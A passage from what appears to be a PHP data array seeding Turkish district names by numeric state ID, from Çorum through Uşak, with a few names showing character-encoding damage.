'sungurlu'],\n ['state_id' => '3686', 'name' => 'ugurludag'],\n ['state_id' => '3687', 'name' => 'acipayam'],\n ['state_id' => '3687', 'name' => 'akkoy'],\n ['state_id' => '3687', 'name' => 'babadag'],\n ['state_id' => '3687', 'name' => 'baklan'],\n ['state_id' => '3687', 'name' => 'bekilli'],\n ['state_id' => '3687', 'name' => 'bozkurt'],\n ['state_id' => '3687', 'name' => 'buldan'],\n ['state_id' => '3687', 'name' => 'cardak'],\n ['state_id' => '3687', 'name' => 'civril'],\n ['state_id' => '3687', 'name' => 'denizli'],\n ['state_id' => '3687', 'name' => 'guney'],\n ['state_id' => '3687', 'name' => 'honaz'],\n ['state_id' => '3687', 'name' => 'kale'],\n ['state_id' => '3687', 'name' => 'saraykoy'],\n ['state_id' => '3687', 'name' => 'serinhisar'],\n ['state_id' => '3687', 'name' => 'tavas'],\n ['state_id' => '3688', 'name' => 'bismil'],\n ['state_id' => '3688', 'name' => 'cermik'],\n ['state_id' => '3688', 'name' => 'cinar'],\n ['state_id' => '3688', 'name' => 'cungus'],\n ['state_id' => '3688', 'name' => 'dicle'],\n ['state_id' => '3688', 'name' => 'diyarbakir'],\n ['state_id' => '3688', 'name' => 'egil'],\n ['state_id' => '3688', 'name' => 'ergani'],\n ['state_id' => '3688', 'name' => 'hani'],\n ['state_id' => '3688', 'name' => 'hazro'],\n ['state_id' => '3688', 'name' => 'kocakoy'],\n ['state_id' => '3688', 'name' => 'kulp'],\n ['state_id' => '3688', 'name' => 'lice'],\n ['state_id' => '3688', 'name' => 'silvan'],\n ['state_id' => '3689', 'name' => 'cumayeri'],\n ['state_id' => '3689', 'name' => 'duzce'],\n ['state_id' => '3689', 'name' => 'golyaka'],\n ['state_id' => '3689', 'name' => 'gumusova'],\n ['state_id' => '3689', 'name' => 'kaynasli'],\n ['state_id' => '3689', 'name' => 'yigilca'],\n ['state_id' => '3690', 'name' => 'edirne'],\n ['state_id' => '3690', 'name' => 'enez'],\n ['state_id' => '3690', 'name' => 'havsa'],\n ['state_id' => '3690', 'name' => 'ipsala'],\n ['state_id' => '3690', 'name' => 'kesan'],\n ['state_id' => '3690', 'name' => 'lalapasa'],\n ['state_id' => '3690', 'name' => 'meric'],\n ['state_id' => '3690', 'name' => 'suleoglu'],\n ['state_id' => '3690', 'name' => 'uzunkopru'],\n ['state_id' => '3691', 'name' => 'agin'],\n ['state_id' => '3691', 'name' => 'alacakaya'],\n ['state_id' => '3691', 'name' => 'aricak'],\n ['state_id' => '3691', 'name' => 'baskil'],\n ['state_id' => '3691', 'name' => 'elazig'],\n ['state_id' => '3691', 'name' => 'karakocan'],\n ['state_id' => '3691', 'name' => 'keban'],\n ['state_id' => '3691', 'name' => 'kovancilar'],\n ['state_id' => '3691', 'name' => 'maden'],\n ['state_id' => '3691', 'name' => 'palu'],\n ['state_id' => '3691', 'name' => 'sivrice'],\n ['state_id' => '3692', 'name' => 'erzincan'],\n ['state_id' => '3692', 'name' => 'ilic'],\n ['state_id' => '3692', 'name' => 'kemah'],\n ['state_id' => '3692', 'name' => 'kemaliye'],\n ['state_id' => '3692', 'name' => 'otlukbeli'],\n ['state_id' => '3692', 'name' => 'refahiye'],\n ['state_id' => '3692', 'name' => 'tercan'],\n ['state_id' => '3692', 'name' => 'uzumlu'],\n ['state_id' => '3693', 'name' => 'askale'],\n ['state_id' => '3693', 'name' => 'erzurum'],\n ['state_id' => '3693', 'name' => 'hinis'],\n ['state_id' => '3693', 'name' => 'horasan'],\n ['state_id' => '3693', 'name' => 'ilica'],\n ['state_id' => '3693', 'name' => 'ispir'],\n ['state_id' => '3693', 'name' => 'karacoban'],\n ['state_id' => '3693', 'name' => 'karayazi'],\n ['state_id' => '3693', 'name' => 'koprukoy'],\n ['state_id' => '3693', 'name' => 'narman'],\n ['state_id' => '3693', 'name' => 'oltu'],\n ['state_id' => '3693', 'name' => 'olur'],\n ['state_id' => '3693', 'name' => 'pasinler'],\n ['state_id' => '3693', 'name' => 'pazaryolu'],\n ['state_id' => '3693', 'name' => 'senkaya'],\n ['state_id' => '3693', 'name' => 'tekman'],\n ['state_id' => '3693', 'name' => 'tortum'],\n ['state_id' => '3693', 'name' => 'uzundere'],\n ['state_id' => '3694', 'name' => 'alpu'],\n ['state_id' => '3694', 'name' => 'beylikova'],\n ['state_id' => '3694', 'name' => 'cifteler'],\n ['state_id' => '3694', 'name' => 'eskisehir'],\n ['state_id' => '3694', 'name' => 'gunyuzu'],\n ['state_id' => '3694', 'name' => 'han'],\n ['state_id' => '3694', 'name' => 'inonu'],\n ['state_id' => '3694', 'name' => 'mahmudiye'],\n ['state_id' => '3694', 'name' => 'mihalgazi'],\n ['state_id' => '3694', 'name' => 'mihaliccik'],\n ['state_id' => '3694', 'name' => 'saricakaya'],\n ['state_id' => '3694', 'name' => 'seyitgazi'],\n ['state_id' => '3694', 'name' => 'sivrihisar'],\n ['state_id' => '3695', 'name' => 'araban'],\n ['state_id' => '3695', 'name' => 'gaziantep'],\n ['state_id' => '3695', 'name' => 'islahiye'],\n ['state_id' => '3695', 'name' => 'karkamis'],\n ['state_id' => '3695', 'name' => 'nizip'],\n ['state_id' => '3695', 'name' => 'nurdagi'],\n ['state_id' => '3695', 'name' => 'oguzeli'],\n ['state_id' => '3695', 'name' => 'sehitkamil'],\n ['state_id' => '3695', 'name' => 'yavuzeli'],\n ['state_id' => '3696', 'name' => 'aluca'],\n ['state_id' => '3696', 'name' => 'bulancak'],\n ['state_id' => '3696', 'name' => 'dereli'],\n ['state_id' => '3696', 'name' => 'dogankent'],\n ['state_id' => '3696', 'name' => 'espiye'],\n ['state_id' => '3696', 'name' => 'eynesil'],\n ['state_id' => '3696', 'name' => 'giresun'],\n ['state_id' => '3696', 'name' => 'gorele'],\n ['state_id' => '3696', 'name' => 'guce'],\n ['state_id' => '3696', 'name' => 'kesap'],\n ['state_id' => '3696', 'name' => 'piraziz'],\n ['state_id' => '3696', 'name' => 'sebinkarahisar'],\n ['state_id' => '3696', 'name' => 'tirebolu'],\n ['state_id' => '3696', 'name' => 'yaglidere'],\n ['state_id' => '3697', 'name' => 'gumushane'],\n ['state_id' => '3697', 'name' => 'kelkit'],\n ['state_id' => '3697', 'name' => 'kose'],\n ['state_id' => '3697', 'name' => 'kurtun'],\n ['state_id' => '3697', 'name' => 'siran'],\n ['state_id' => '3697', 'name' => 'torul'],\n ['state_id' => '3698', 'name' => 'cukurca'],\n ['state_id' => '3698', 'name' => 'hakkari'],\n ['state_id' => '3698', 'name' => 'semdinli'],\n ['state_id' => '3698', 'name' => 'yuksekova'],\n ['state_id' => '3699', 'name' => 'altinozu'],\n ['state_id' => '3699', 'name' => 'antakya'],\n ['state_id' => '3699', 'name' => 'belen'],\n ['state_id' => '3699', 'name' => 'dortyol'],\n ['state_id' => '3699', 'name' => 'erzin'],\n ['state_id' => '3699', 'name' => 'hassa'],\n ['state_id' => '3699', 'name' => 'iskenderun'],\n ['state_id' => '3699', 'name' => 'kirikhan'],\n ['state_id' => '3699', 'name' => 'kumlu'],\n ['state_id' => '3699', 'name' => 'reyhanli'],\n ['state_id' => '3699', 'name' => 'samandag'],\n ['state_id' => '3699', 'name' => 'yayladagi'],\n ['state_id' => '3700', 'name' => 'anamur'],\n ['state_id' => '3700', 'name' => 'aydincik'],\n ['state_id' => '3700', 'name' => 'bozyazi'],\n ['state_id' => '3700', 'name' => 'erdemli'],\n ['state_id' => '3700', 'name' => 'gulnar'],\n ['state_id' => '3700', 'name' => 'mersin'],\n ['state_id' => '3700', 'name' => 'mut'],\n ['state_id' => '3700', 'name' => 'silifke'],\n ['state_id' => '3700', 'name' => 'tarsus'],\n ['state_id' => '3701', 'name' => 'aralik'],\n ['state_id' => '3701', 'name' => 'igdir'],\n ['state_id' => '3701', 'name' => 'karakoyunlu'],\n ['state_id' => '3701', 'name' => 'tuzluca'],\n ['state_id' => '3702', 'name' => 'aksu'],\n ['state_id' => '3702', 'name' => 'atabey'],\n ['state_id' => '3702', 'name' => 'egirdir'],\n ['state_id' => '3702', 'name' => 'gelendost'],\n ['state_id' => '3702', 'name' => 'gonen'],\n ['state_id' => '3702', 'name' => 'isparta'],\n ['state_id' => '3702', 'name' => 'keciborlu'],\n ['state_id' => '3702', 'name' => 'sarkikaraagac'],\n ['state_id' => '3702', 'name' => 'senirkent'],\n ['state_id' => '3702', 'name' => 'sutculer'],\n ['state_id' => '3702', 'name' => 'uluborlu'],\n ['state_id' => '3702', 'name' => 'yalvac'],\n ['state_id' => '3702', 'name' => 'yenisarbademli'],\n ['state_id' => '3703', 'name' => 'buyukcekmece'],\n ['state_id' => '3703', 'name' => 'catalca'],\n ['state_id' => '3703', 'name' => 'eminonu'],\n ['state_id' => '3703', 'name' => 'esenler'],\n ['state_id' => '3703', 'name' => 'istanbul'],\n ['state_id' => '3703', 'name' => 'kadã„â±koy'],\n ['state_id' => '3703', 'name' => 'sile'],\n ['state_id' => '3703', 'name' => 'silivri'],\n ['state_id' => '3703', 'name' => 'sultanbeyli'],\n ['state_id' => '3703', 'name' => 'topkapã„â±'],\n ['state_id' => '3703', 'name' => 'tuzla'],\n ['state_id' => '3703', 'name' => 'umraniye'],\n ['state_id' => '3704', 'name' => 'aliaga'],\n ['state_id' => '3704', 'name' => 'alsancak'],\n ['state_id' => '3704', 'name' => 'bayindir'],\n ['state_id' => '3704', 'name' => 'bergama'],\n ['state_id' => '3704', 'name' => 'beyagac'],\n ['state_id' => '3704', 'name' => 'bornova'],\n ['state_id' => '3704', 'name' => 'cesme'],\n ['state_id' => '3704', 'name' => 'digor'],\n ['state_id' => '3704', 'name' => 'dikili'],\n ['state_id' => '3704', 'name' => 'foca'],\n ['state_id' => '3704', 'name' => 'izmir'],\n ['state_id' => '3704', 'name' => 'karaburun'],\n ['state_id' => '3704', 'name' => 'kemalpasa'],\n ['state_id' => '3704', 'name' => 'kinik'],\n ['state_id' => '3704', 'name' => 'kiraz'],\n ['state_id' => '3704', 'name' => 'menderes'],\n ['state_id' => '3704', 'name' => 'menemen'],\n ['state_id' => '3704', 'name' => 'merkezi'],\n ['state_id' => '3704', 'name' => 'mersinli'],\n ['state_id' => '3704', 'name' => 'odemis'],\n ['state_id' => '3704', 'name' => 'seferihisar'],\n ['state_id' => '3704', 'name' => 'selcuk'],\n ['state_id' => '3704', 'name' => 'tire'],\n ['state_id' => '3704', 'name' => 'torbali'],\n ['state_id' => '3704', 'name' => 'urla'],\n ['state_id' => '3705', 'name' => 'afsin'],\n ['state_id' => '3705', 'name' => 'andirin'],\n ['state_id' => '3705', 'name' => 'caglayancerit'],\n ['state_id' => '3705', 'name' => 'ekinozu'],\n ['state_id' => '3705', 'name' => 'elbistan'],\n ['state_id' => '3705', 'name' => 'goksun'],\n ['state_id' => '3705', 'name' => 'kahramanmaras'],\n ['state_id' => '3705', 'name' => 'nurhak'],\n ['state_id' => '3705', 'name' => 'pazarcik'],\n ['state_id' => '3705', 'name' => 'turkoglu'],\n ['state_id' => '3706', 'name' => 'eflani'],\n ['state_id' => '3706', 'name' => 'eskipazar'],\n ['state_id' => '3706', 'name' => 'karabuk'],\n ['state_id' => '3706', 'name' => 'ovacik'],\n ['state_id' => '3706', 'name' => 'safranbolu'],\n ['state_id' => '3706', 'name' => 'yenice'],\n ['state_id' => '3707', 'name' => 'ayranci'],\n ['state_id' => '3707', 'name' => 'basyayla'],\n ['state_id' => '3707', 'name' => 'ermenek'],\n ['state_id' => '3707', 'name' => 'karaman'],\n ['state_id' => '3707', 'name' => 'kazimkarabekir'],\n ['state_id' => '3707', 'name' => 'sariveliler'],\n ['state_id' => '3708', 'name' => 'akyaka'],\n ['state_id' => '3708', 'name' => 'arpacay'],\n ['state_id' => '3708', 'name' => 'kagizman'],\n ['state_id' => '3708', 'name' => 'kars'],\n ['state_id' => '3708', 'name' => 'sarikamis'],\n ['state_id' => '3708', 'name' => 'selim'],\n ['state_id' => '3708', 'name' => 'susuz'],\n ['state_id' => '3709', 'name' => 'karsiyaka'],\n ['state_id' => '3710', 'name' => 'abana'],\n ['state_id' => '3710', 'name' => 'agli'],\n ['state_id' => '3710', 'name' => 'arac'],\n ['state_id' => '3710', 'name' => 'azdavay'],\n ['state_id' => '3710', 'name' => 'bozkurt'],\n ['state_id' => '3710', 'name' => 'daday'],\n ['state_id' => '3710', 'name' => 'devrekani'],\n ['state_id' => '3710', 'name' => 'doganyurt'],\n ['state_id' => '3710', 'name' => 'hanonu'],\n ['state_id' => '3710', 'name' => 'ihsangazi'],\n ['state_id' => '3710', 'name' => 'inebolu'],\n ['state_id' => '3710', 'name' => 'kastamonu'],\n ['state_id' => '3710', 'name' => 'kure'],\n ['state_id' => '3710', 'name' => 'pinarbasi'],\n ['state_id' => '3710', 'name' => 'senpazar'],\n ['state_id' => '3710', 'name' => 'seydiler'],\n ['state_id' => '3710', 'name' => 'taskopru'],\n ['state_id' => '3710', 'name' => 'tosya'],\n ['state_id' => '3711', 'name' => 'akkisla'],\n ['state_id' => '3711', 'name' => 'bunyan'],\n ['state_id' => '3711', 'name' => 'develi'],\n ['state_id' => '3711', 'name' => 'felahiye'],\n ['state_id' => '3711', 'name' => 'hacilar'],\n ['state_id' => '3711', 'name' => 'incesu'],\n ['state_id' => '3711', 'name' => 'kayseri'],\n ['state_id' => '3711', 'name' => 'ozvatan'],\n ['state_id' => '3711', 'name' => 'pinarbasi'],\n ['state_id' => '3711', 'name' => 'sarioglan'],\n ['state_id' => '3711', 'name' => 'sariz'],\n ['state_id' => '3711', 'name' => 'talas'],\n ['state_id' => '3711', 'name' => 'tomarza'],\n ['state_id' => '3711', 'name' => 'yahyali'],\n ['state_id' => '3711', 'name' => 'yesilhisar'],\n ['state_id' => '3712', 'name' => 'elbeyli'],\n ['state_id' => '3712', 'name' => 'kilis'],\n ['state_id' => '3712', 'name' => 'musabeyli'],\n ['state_id' => '3712', 'name' => 'polateli'],\n ['state_id' => '3713', 'name' => 'bahsili'],\n ['state_id' => '3713', 'name' => 'baliseyh'],\n ['state_id' => '3713', 'name' => 'delice'],\n ['state_id' => '3713', 'name' => 'karakecili'],\n ['state_id' => '3713', 'name' => 'keskin'],\n ['state_id' => '3713', 'name' => 'kirikkale'],\n ['state_id' => '3713', 'name' => 'sulakyurt'],\n ['state_id' => '3713', 'name' => 'yahsihan'],\n ['state_id' => '3714', 'name' => 'babaeski'],\n ['state_id' => '3714', 'name' => 'demirkoy'],\n ['state_id' => '3714', 'name' => 'kirklareli'],\n ['state_id' => '3714', 'name' => 'kofcaz'],\n ['state_id' => '3714', 'name' => 'kumkoy'],\n ['state_id' => '3714', 'name' => 'luleburgaz'],\n ['state_id' => '3714', 'name' => 'pehlivankoy'],\n ['state_id' => '3714', 'name' => 'pinarhisar'],\n ['state_id' => '3714', 'name' => 'vize'],\n ['state_id' => '3715', 'name' => 'akcakent'],\n ['state_id' => '3715', 'name' => 'akpinar'],\n ['state_id' => '3715', 'name' => 'boztepe'],\n ['state_id' => '3715', 'name' => 'kaman'],\n ['state_id' => '3715', 'name' => 'kirsehir'],\n ['state_id' => '3715', 'name' => 'mucur'],\n ['state_id' => '3716', 'name' => 'cayã„â±rova'],\n ['state_id' => '3716', 'name' => 'derince'],\n ['state_id' => '3716', 'name' => 'dilovasã„â±'],\n ['state_id' => '3716', 'name' => 'gebze'],\n ['state_id' => '3716', 'name' => 'golcuk'],\n ['state_id' => '3716', 'name' => 'izmit'],\n ['state_id' => '3716', 'name' => 'kandira'],\n ['state_id' => '3716', 'name' => 'karamursel'],\n ['state_id' => '3716', 'name' => 'kocaeli'],\n ['state_id' => '3716', 'name' => 'korfez'],\n ['state_id' => '3717', 'name' => 'ahirli'],\n ['state_id' => '3717', 'name' => 'akoren'],\n ['state_id' => '3717', 'name' => 'aksehir'],\n ['state_id' => '3717', 'name' => 'altinekin'],\n ['state_id' => '3717', 'name' => 'beysehir'],\n ['state_id' => '3717', 'name' => 'bozkir'],\n ['state_id' => '3717', 'name' => 'cihanbeyli'],\n ['state_id' => '3717', 'name' => 'cumra'],\n ['state_id' => '3717', 'name' => 'derbent'],\n ['state_id' => '3717', 'name' => 'derebucak'],\n ['state_id' => '3717', 'name' => 'doganhisar'],\n ['state_id' => '3717', 'name' => 'emirgazi'],\n ['state_id' => '3717', 'name' => 'eregli'],\n ['state_id' => '3717', 'name' => 'guneysinir'],\n ['state_id' => '3717', 'name' => 'hadim'],\n ['state_id' => '3717', 'name' => 'halkapinar'],\n ['state_id' => '3717', 'name' => 'huyuk'],\n ['state_id' => '3717', 'name' => 'ilgin'],\n ['state_id' => '3717', 'name' => 'kadinhani'],\n ['state_id' => '3717', 'name' => 'karapinar'],\n ['state_id' => '3717', 'name' => 'konya'],\n ['state_id' => '3717', 'name' => 'kulu'],\n ['state_id' => '3717', 'name' => 'sarayonu'],\n ['state_id' => '3717', 'name' => 'seydisehir'],\n ['state_id' => '3717', 'name' => 'taskent'],\n ['state_id' => '3717', 'name' => 'tuzlukcu'],\n ['state_id' => '3717', 'name' => 'yalihuyuk'],\n ['state_id' => '3717', 'name' => 'yunak'],\n ['state_id' => '3718', 'name' => 'altinas'],\n ['state_id' => '3718', 'name' => 'aslanapa'],\n ['state_id' => '3718', 'name' => 'domanic'],\n ['state_id' => '3718', 'name' => 'dumlupinar'],\n ['state_id' => '3718', 'name' => 'emet'],\n ['state_id' => '3718', 'name' => 'gediz'],\n ['state_id' => '3718', 'name' => 'kutahya'],\n ['state_id' => '3718', 'name' => 'pazarlar'],\n ['state_id' => '3718', 'name' => 'saphane'],\n ['state_id' => '3718', 'name' => 'simav'],\n ['state_id' => '3718', 'name' => 'tavsanli'],\n ['state_id' => '3719', 'name' => 'lefkosa'],\n ['state_id' => '3720', 'name' => 'akcadag'],\n ['state_id' => '3720', 'name' => 'arapkir'],\n ['state_id' => '3720', 'name' => 'arguvan'],\n ['state_id' => '3720', 'name' => 'battalgazi'],\n ['state_id' => '3720', 'name' => 'darende'],\n ['state_id' => '3720', 'name' => 'dogansehir'],\n ['state_id' => '3720', 'name' => 'doganyol'],\n ['state_id' => '3720', 'name' => 'hekimhan'],\n ['state_id' => '3720', 'name' => 'kale'],\n ['state_id' => '3720', 'name' => 'kuluncak'],\n ['state_id' => '3720', 'name' => 'malatya'],\n ['state_id' => '3720', 'name' => 'poturge'],\n ['state_id' => '3720', 'name' => 'yazihan'],\n ['state_id' => '3720', 'name' => 'yesilyurt'],\n ['state_id' => '3721', 'name' => 'ahmetli'],\n ['state_id' => '3721', 'name' => 'akhisar'],\n ['state_id' => '3721', 'name' => 'alasehir'],\n ['state_id' => '3721', 'name' => 'demirci'],\n ['state_id' => '3721', 'name' => 'golmarmara'],\n ['state_id' => '3721', 'name' => 'gordes'],\n ['state_id' => '3721', 'name' => 'kirkagac'],\n ['state_id' => '3721', 'name' => 'koprubasi'],\n ['state_id' => '3721', 'name' => 'kula'],\n ['state_id' => '3721', 'name' => 'manisa'],\n ['state_id' => '3721', 'name' => 'salihli'],\n ['state_id' => '3721', 'name' => 'sarigol'],\n ['state_id' => '3721', 'name' => 'saruhanli'],\n ['state_id' => '3721', 'name' => 'selendi'],\n ['state_id' => '3721', 'name' => 'soma'],\n ['state_id' => '3721', 'name' => 'turgutlu'],\n ['state_id' => '3722', 'name' => 'dargecit'],\n ['state_id' => '3722', 'name' => 'derik'],\n ['state_id' => '3722', 'name' => 'kiziltepe'],\n ['state_id' => '3722', 'name' => 'mardin'],\n ['state_id' => '3722', 'name' => 'mazidagi'],\n ['state_id' => '3722', 'name' => 'midyat'],\n ['state_id' => '3722', 'name' => 'nusaybin'],\n ['state_id' => '3722', 'name' => 'omerli'],\n ['state_id' => '3722', 'name' => 'savur'],\n ['state_id' => '3722', 'name' => 'yesilli'],\n ['state_id' => '3723', 'name' => 'bodrum'],\n ['state_id' => '3723', 'name' => 'dalaman'],\n ['state_id' => '3723', 'name' => 'datca'],\n ['state_id' => '3723', 'name' => 'fethiye'],\n ['state_id' => '3723', 'name' => 'kavaklidere'],\n ['state_id' => '3723', 'name' => 'koycegiz'],\n ['state_id' => '3723', 'name' => 'marmaris'],\n ['state_id' => '3723', 'name' => 'milas'],\n ['state_id' => '3723', 'name' => 'mugla'],\n ['state_id' => '3723', 'name' => 'ortaca'],\n ['state_id' => '3723', 'name' => 'ula'],\n ['state_id' => '3723', 'name' => 'yatagan'],\n ['state_id' => '3724', 'name' => 'bulanik'],\n ['state_id' => '3724', 'name' => 'haskoy'],\n ['state_id' => '3724', 'name' => 'korkut'],\n ['state_id' => '3724', 'name' => 'malazgirt'],\n ['state_id' => '3724', 'name' => 'mus'],\n ['state_id' => '3724', 'name' => 'varto'],\n ['state_id' => '3725', 'name' => 'acigol'],\n ['state_id' => '3725', 'name' => 'avanos'],\n ['state_id' => '3725', 'name' => 'derinkuyu'],\n ['state_id' => '3725', 'name' => 'gulsehir'],\n ['state_id' => '3725', 'name' => 'hacibektas'],\n ['state_id' => '3725', 'name' => 'kozakli'],\n ['state_id' => '3725', 'name' => 'nevsehir'],\n ['state_id' => '3725', 'name' => 'urgup'],\n ['state_id' => '3726', 'name' => 'altunhisar'],\n ['state_id' => '3726', 'name' => 'bor'],\n ['state_id' => '3726', 'name' => 'nigde'],\n ['state_id' => '3726', 'name' => 'ulukisla'],\n ['state_id' => '3727', 'name' => 'akkus'],\n ['state_id' => '3727', 'name' => 'aybasti'],\n ['state_id' => '3727', 'name' => 'camas'],\n ['state_id' => '3727', 'name' => 'fatsa'],\n ['state_id' => '3727', 'name' => 'golkoy'],\n ['state_id' => '3727', 'name' => 'gulyali'],\n ['state_id' => '3727', 'name' => 'gurgentepe'],\n ['state_id' => '3727', 'name' => 'ikizce'],\n ['state_id' => '3727', 'name' => 'kabaduz'],\n ['state_id' => '3727', 'name' => 'kabatas'],\n ['state_id' => '3727', 'name' => 'korgan'],\n ['state_id' => '3727', 'name' => 'kumru'],\n ['state_id' => '3727', 'name' => 'mesudiye'],\n ['state_id' => '3727', 'name' => 'ordu'],\n ['state_id' => '3727', 'name' => 'persembe'],\n ['state_id' => '3727', 'name' => 'ulubey'],\n ['state_id' => '3727', 'name' => 'unye'],\n ['state_id' => '3728', 'name' => 'bahce'],\n ['state_id' => '3728', 'name' => 'duzici'],\n ['state_id' => '3728', 'name' => 'hasanbeyli'],\n ['state_id' => '3728', 'name' => 'kadirli'],\n ['state_id' => '3728', 'name' => 'osmaniye'],\n ['state_id' => '3728', 'name' => 'sumbas'],\n ['state_id' => '3728', 'name' => 'toprakkale'],\n ['state_id' => '3729', 'name' => 'ardesen'],\n ['state_id' => '3729', 'name' => 'cayeli'],\n ['state_id' => '3729', 'name' => 'derepazan'],\n ['state_id' => '3729', 'name' => 'findikli'],\n ['state_id' => '3729', 'name' => 'guneysu'],\n ['state_id' => '3729', 'name' => 'hemsin'],\n ['state_id' => '3729', 'name' => 'ikizdere'],\n ['state_id' => '3729', 'name' => 'iyidere'],\n ['state_id' => '3729', 'name' => 'kalkandere'],\n ['state_id' => '3729', 'name' => 'pazar'],\n ['state_id' => '3729', 'name' => 'rize'],\n ['state_id' => '3730', 'name' => 'adapazari'],\n ['state_id' => '3730', 'name' => 'akyazi'],\n ['state_id' => '3730', 'name' => 'ferizli'],\n ['state_id' => '3730', 'name' => 'geyve'],\n ['state_id' => '3730', 'name' => 'hendek'],\n ['state_id' => '3730', 'name' => 'karapurcek'],\n ['state_id' => '3730', 'name' => 'karasu'],\n ['state_id' => '3730', 'name' => 'kaynarca'],\n ['state_id' => '3730', 'name' => 'kocaali'],\n ['state_id' => '3730', 'name' => 'pamukova'],\n ['state_id' => '3730', 'name' => 'sapanca'],\n ['state_id' => '3730', 'name' => 'sogutlu'],\n ['state_id' => '3730', 'name' => 'tarakli'],\n ['state_id' => '3731', 'name' => 'akcakale'],\n ['state_id' => '3731', 'name' => 'alacam'],\n ['state_id' => '3731', 'name' => 'asarcik'],\n ['state_id' => '3731', 'name' => 'ayvacik'],\n ['state_id' => '3731', 'name' => 'bafra'],\n ['state_id' => '3731', 'name' => 'carsamba'],\n ['state_id' => '3731', 'name' => 'havza'],\n ['state_id' => '3731', 'name' => 'kavak'],\n ['state_id' => '3731', 'name' => 'ladik'],\n ['state_id' => '3731', 'name' => 'mayis 19'],\n ['state_id' => '3731', 'name' => 'salipazan'],\n ['state_id' => '3731', 'name' => 'samsun'],\n ['state_id' => '3731', 'name' => 'tekkekoy'],\n ['state_id' => '3731', 'name' => 'terme'],\n ['state_id' => '3731', 'name' => 'vezirkopru'],\n ['state_id' => '3731', 'name' => 'yakakent'],\n ['state_id' => '3732', 'name' => 'birecik'],\n ['state_id' => '3732', 'name' => 'bozova'],\n ['state_id' => '3732', 'name' => 'ceylanpinar'],\n ['state_id' => '3732', 'name' => 'halfeti'],\n ['state_id' => '3732', 'name' => 'harran'],\n ['state_id' => '3732', 'name' => 'hilvan'],\n ['state_id' => '3732', 'name' => 'sanliurfa'],\n ['state_id' => '3732', 'name' => 'siverek'],\n ['state_id' => '3732', 'name' => 'suruc'],\n ['state_id' => '3732', 'name' => 'urfa'],\n ['state_id' => '3732', 'name' => 'viransehir'],\n ['state_id' => '3733', 'name' => 'aydinlar'],\n ['state_id' => '3733', 'name' => 'baykan'],\n ['state_id' => '3733', 'name' => 'eruh'],\n ['state_id' => '3733', 'name' => 'kurtalan'],\n ['state_id' => '3733', 'name' => 'pervari'],\n ['state_id' => '3733', 'name' => 'siirt'],\n ['state_id' => '3733', 'name' => 'sirvan'],\n ['state_id' => '3734', 'name' => 'ayancik'],\n ['state_id' => '3734', 'name' => 'boyabat'],\n ['state_id' => '3734', 'name' => 'dikmen'],\n ['state_id' => '3734', 'name' => 'duragan'],\n ['state_id' => '3734', 'name' => 'erfelek'],\n ['state_id' => '3734', 'name' => 'gerze'],\n ['state_id' => '3734', 'name' => 'sarayduzu'],\n ['state_id' => '3734', 'name' => 'sinop'],\n ['state_id' => '3734', 'name' => 'turkeli'],\n ['state_id' => '3735', 'name' => 'beytussebap'],\n ['state_id' => '3735', 'name' => 'cizre'],\n ['state_id' => '3735', 'name' => 'guclukonak'],\n ['state_id' => '3735', 'name' => 'idil'],\n ['state_id' => '3735', 'name' => 'silopi'],\n ['state_id' => '3735', 'name' => 'sirnak'],\n ['state_id' => '3735', 'name' => 'uludere'],\n ['state_id' => '3736', 'name' => 'akincilar'],\n ['state_id' => '3736', 'name' => 'altinyayla'],\n ['state_id' => '3736', 'name' => 'divrigi'],\n ['state_id' => '3736', 'name' => 'dogansar'],\n ['state_id' => '3736', 'name' => 'gemerek'],\n ['state_id' => '3736', 'name' => 'golova'],\n ['state_id' => '3736', 'name' => 'gurun'],\n ['state_id' => '3736', 'name' => 'hafik'],\n ['state_id' => '3736', 'name' => 'imranli'],\n ['state_id' => '3736', 'name' => 'kangal'],\n ['state_id' => '3736', 'name' => 'koyulhisar'],\n ['state_id' => '3736', 'name' => 'sarkisla'],\n ['state_id' => '3736', 'name' => 'sivas'],\n ['state_id' => '3736', 'name' => 'susehri'],\n ['state_id' => '3736', 'name' => 'ulas'],\n ['state_id' => '3736', 'name' => 'yildizeli'],\n ['state_id' => '3736', 'name' => 'zara'],\n ['state_id' => '3737', 'name' => 'cerkezkoy'],\n ['state_id' => '3737', 'name' => 'corlu'],\n ['state_id' => '3737', 'name' => 'hayrabolu'],\n ['state_id' => '3737', 'name' => 'malkara'],\n ['state_id' => '3737', 'name' => 'marmaraereglisi'],\n ['state_id' => '3737', 'name' => 'muratli'],\n ['state_id' => '3737', 'name' => 'saray'],\n ['state_id' => '3737', 'name' => 'sarkoy'],\n ['state_id' => '3737', 'name' => 'tekirdag'],\n ['state_id' => '3738', 'name' => 'almus'],\n ['state_id' => '3738', 'name' => 'artova'],\n ['state_id' => '3738', 'name' => 'basciftlik'],\n ['state_id' => '3738', 'name' => 'erbaa'],\n ['state_id' => '3738', 'name' => 'niksar'],\n ['state_id' => '3738', 'name' => 'pazar'],\n ['state_id' => '3738', 'name' => 'resadiye'],\n ['state_id' => '3738', 'name' => 'sulusaray'],\n ['state_id' => '3738', 'name' => 'tokat'],\n ['state_id' => '3738', 'name' => 'turhal'],\n ['state_id' => '3738', 'name' => 'yesilyurt'],\n ['state_id' => '3738', 'name' => 'zile'],\n ['state_id' => '3739', 'name' => 'akcaabat'],\n ['state_id' => '3739', 'name' => 'arakli'],\n ['state_id' => '3739', 'name' => 'arsin'],\n ['state_id' => '3739', 'name' => 'besikduzu'],\n ['state_id' => '3739', 'name' => 'caykara'],\n ['state_id' => '3739', 'name' => 'dernekpazari'],\n ['state_id' => '3739', 'name' => 'duzkoy'],\n ['state_id' => '3739', 'name' => 'hayrat'],\n ['state_id' => '3739', 'name' => 'koprubasi'],\n ['state_id' => '3739', 'name' => 'macka'],\n ['state_id' => '3739', 'name' => 'of'],\n ['state_id' => '3739', 'name' => 'salpazari'],\n ['state_id' => '3739', 'name' => 'surmene'],\n ['state_id' => '3739', 'name' => 'tonya'],\n ['state_id' => '3739', 'name' => 'trabzon'],\n ['state_id' => '3739', 'name' => 'vakfikebir'],\n ['state_id' => '3739', 'name' => 'yomra'],\n ['state_id' => '3740', 'name' => 'hozat'],\n ['state_id' => '3740', 'name' => 'mazgirt'],\n ['state_id' => '3740', 'name' => 'nazimiye'],\n ['state_id' => '3740', 'name' => 'ovacik'],\n ['state_id' => '3740', 'name' => 'pertek'],\n ['state_id' => '3740', 'name' => 'pulumur'],\n ['state_id' => '3740', 'name' => 'tunceli'],\n ['state_id' => '3741', 'name' => 'banaz'],\n ['state_id' => '3741', 'name' => 'esme'],\n ['state_id' => '3741', 'name' => 'karahalli'],\n ['state_id' => '3741', 'name' => 'sivasli'],\n ['state_id' => '3741', 'name' => 